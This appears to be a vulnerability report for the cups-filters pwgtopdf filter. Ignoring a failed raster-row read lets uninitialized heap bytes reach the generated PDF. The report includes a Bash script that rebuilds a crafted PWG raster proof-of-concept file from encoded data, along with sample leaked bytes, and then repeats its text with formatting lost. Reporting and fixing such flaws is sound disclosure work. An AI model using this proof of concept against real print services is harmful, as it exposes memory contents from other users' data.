Summary
cfFilterPWGToPDF() ignores a failed raster-row read and still copies the
entire uninitialized row buffer into the generated PDF image stream. A valid
page header followed by no pixel data produces a successful PDF containing
heap bytes that were never initialized by the document.
The document alone reaches the normal standalone pwgtopdf filter. The
confidentiality impact depends on whether an attacker can retrieve or observe
the filter's generated PDF.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.
Validated revisions:
- cups-filters:
11d1a190530f85a361a1b3835f57d635256dff1a
- libcupsfilters:
905fd94fb22a9298bc8e2c845eb7e04f7055b686
- libppd:
522af8dd135f4dde66b1aac8b9d067808bbe122d
poc/document.pwg contains a complete compressed CUPS/PWG Raster v2 header
for a 32x1, 8-bit grayscale page and no compressed row. It is 1,800 bytes with
SHA-256
381fe9cece73278d91203d58084525a70899f1884e2c9bc8364c10ff1b05820f.
Run:
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: pwgtopdf: a truncated raster row is copied from uninitialized heap memory
# Finding ID: pwgtopdf-truncated-row-heap-disclosure
# Trigger: cfFilterPWGToPDF() ignores a failed raster-row read and still
# copies the entire uninitialized row buffer into the generated PDF image
# stream. A valid page header followed by no pixel data produces a successful
# PDF containing heap bytes that were never initialized by the document.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Malformed or boundary document consumed by the real filter/API.
# Output: document.pwg (1800 bytes)
write_file document.pwg 381fe9cece73278d91203d58084525a70899f1884e2c9bc8364c10ff1b05820f <<'POC_PAYLOAD_0'
H4sIAAAAAAACAzMKTgwKKE8PSiwuSS1iGAUwoMMIwUJAtgoQBzExMHxhQlUDkyMEUoD6JJhRxRSA
mBHK5oBiBSRzGZDkUdmSLgwMbkA8wZGBQcCJoUEEyLZ1GY2xUTAKRsFIBT6pJRRVYAAqxpAzCAcA
AA==
POC_PAYLOAD_0
Result
The filter returns success and verify_output.py locates a 32-byte Flate
stream containing:
bebebebebebebebebebebebebebebebebebebebebebebebebebebebebebebe
0xbe is the ASan allocator's uninitialized heap fill. A normal allocator can
instead expose residual data from an earlier allocation. The archived plain
build produced pointer-shaped bytes such as:
9b51a6ce075f00000000000000000000a434853e025f00006423843e025f0000
Cause and expected behavior
convert_raster() ignores the return value of:
cupsRasterReadPixels(doc->ras, doc->PixelBuffer, doc->line_bytes);
A truncated row returns zero, but the function continues through color
conversion and writes line_bytes bytes to the PDF image stream
(pwgtopdf.c:1586,1620). The filter must require a complete row, stop the job
on a short read, and never serialize bytes that were not initialized by the
raster decoder.
Summary
cfFilterPWGToPDF()ignores a failed raster-row read and still copies theentire uninitialized row buffer into the generated PDF image stream. A valid
page header followed by no pixel data produces a successful PDF containing
heap bytes that were never initialized by the document.
The document alone reaches the normal standalone
pwgtopdffilter. Theconfidentiality impact depends on whether an attacker can retrieve or observe
the filter's generated PDF.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters
11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppdfc41539f761286396a7df8aeeda762070192e37e.Validated revisions:
11d1a190530f85a361a1b3835f57d635256dff1a905fd94fb22a9298bc8e2c845eb7e04f7055b686522af8dd135f4dde66b1aac8b9d067808bbe122dpoc/document.pwgcontains a complete compressed CUPS/PWG Raster v2 headerfor a 32x1, 8-bit grayscale page and no compressed row. It is 1,800 bytes with
SHA-256
381fe9cece73278d91203d58084525a70899f1884e2c9bc8364c10ff1b05820f.Run:
The following commented Bash script constructs the exact PoC and control
inputs. Save it as
make_poc.sh, then runbash make_poc.sh poc.Result
The filter returns success and
verify_output.pylocates a 32-byte Flatestream containing:
0xbeis the ASan allocator's uninitialized heap fill. A normal allocator caninstead expose residual data from an earlier allocation. The archived plain
build produced pointer-shaped bytes such as:
Cause and expected behavior
convert_raster()ignores the return value of:A truncated row returns zero, but the function continues through color
conversion and writes
line_bytesbytes to the PDF image stream(
pwgtopdf.c:1586,1620). The filter must require a complete row, stop the jobon a short read, and never serialize bytes that were not initialized by the
raster decoder.